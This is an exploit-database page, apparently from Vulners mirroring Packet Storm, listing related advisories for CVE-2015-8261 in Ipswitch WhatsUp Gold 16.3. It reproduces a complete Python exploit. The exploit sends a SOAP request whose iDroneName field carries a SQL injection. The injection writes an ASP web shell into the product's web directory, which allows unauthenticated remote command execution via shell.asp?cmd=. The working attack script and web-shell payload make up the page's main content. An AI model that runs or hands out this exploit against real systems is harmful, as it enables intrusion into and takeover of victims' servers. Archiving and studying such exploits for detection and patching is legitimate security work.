Lucene search
K

WhatsUp Gold 16.3 Remote Code Execution

🗓️ 15 Jan 2016 00:00:00Reported by Matt BuzanowskiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 38 Views

WhatsUp Gold 16.3 Unauthenticated Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
WhatsUp Gold 16.3 - Unauthenticated Remote Code Execution
13 Jan 201600:00
zdt
CNVD
Ipswitch WhatsUp Gold SQL Injection Vulnerability
11 Jan 201600:00
cnvd
Check Point Advisories
Ipswitch WhatsUp Gold SQL Injection (CVE-2015-8261)
21 Apr 202100:00
checkpoint_advisories
CVE
CVE-2015-8261
8 Jan 201602:00
cve
Cvelist
CVE-2015-8261
8 Jan 201602:00
cvelist
Exploit DB
WhatsUp Gold 16.3 - Remote Code Execution
13 Jan 201600:00
exploitdb
EUVD
EUVD-2015-8149
7 Oct 202500:30
euvd
exploitpack
WhatsUp Gold 16.3 - Remote Code Execution
13 Jan 201600:00
exploitpack
Tenable Nessus
Ipswitch WhatsUp Gold < 16.4 Multiple Vulnerabilities
22 Jan 201600:00
nessus
Tenable Nessus
Ipswitch WhatsUp Gold < 16.4 Multiple Vulnerabilities
15 Feb 201600:00
nessus
Rows per page
`#  
# Exploit Title: WhatsUp Gold v16.3 Unauthenticated Remote Code Execution  
# Date: 2016-01-13  
# Exploit Author: Matt Buzanowski  
# Vendor Homepage: http://www.ipswitch.com/  
# Version: 16.3.x  
# Tested on: Windows 7 x86  
# CVE : CVE-2015-8261  
# Usage: python DroneDeleteOldMeasurements.py <target ip>  
  
import requests  
import sys  
  
ip_addr = sys.argv[1]  
  
shell = '''<![CDATA[<% response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall() %>]]>'''  
  
sqli_str = '''stuff'; END TRANSACTION; ATTACH DATABASE 'C:\\Program Files (x86)\\Ipswitch\\WhatsUp\\HTML\\NmConsole\\shell.asp' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ('%s');--''' % shell  
  
session = requests.Session()  
  
headers = {"SOAPAction":"\"http://iDrone.alertfox.com/DroneDeleteOldMeasurements\"","User-Agent":"Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.4927)","Expect":"100-continue","Content-Type":"text/xml; charset=utf-8","Connection":"Keep-Alive"}  
  
body = """<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">  
<soap:Body>  
<DroneDeleteOldMeasurements xmlns="http://iDrone.alertfox.com/">  
<serializedDeleteOldMeasurementsRequest><?xml version="1.0" encoding="utf-16"?>  
<DeleteOldMeasurementsRequest xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">  
<authorizationString>0123456789</authorizationString>  
<maxAgeInMinutes>1</maxAgeInMinutes>  
<iDroneName>%s</iDroneName>  
</DeleteOldMeasurementsRequest></serializedDeleteOldMeasurementsRequest>  
</DroneDeleteOldMeasurements>  
</soap:Body>  
</soap:Envelope>""" % sqli_str  
  
response = session.post("http://%s/iDrone/iDroneComAPI.asmx" % ip_addr,data=body,headers=headers)  
print "Status code:", response.status_code  
print "Response body:", response.content  
  
print "\n\nSUCCESS!!! Browse to http://%s/NmConsole/shell.asp?cmd=whoami for unauthenticated RCE.\n\n" % ip_addr  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation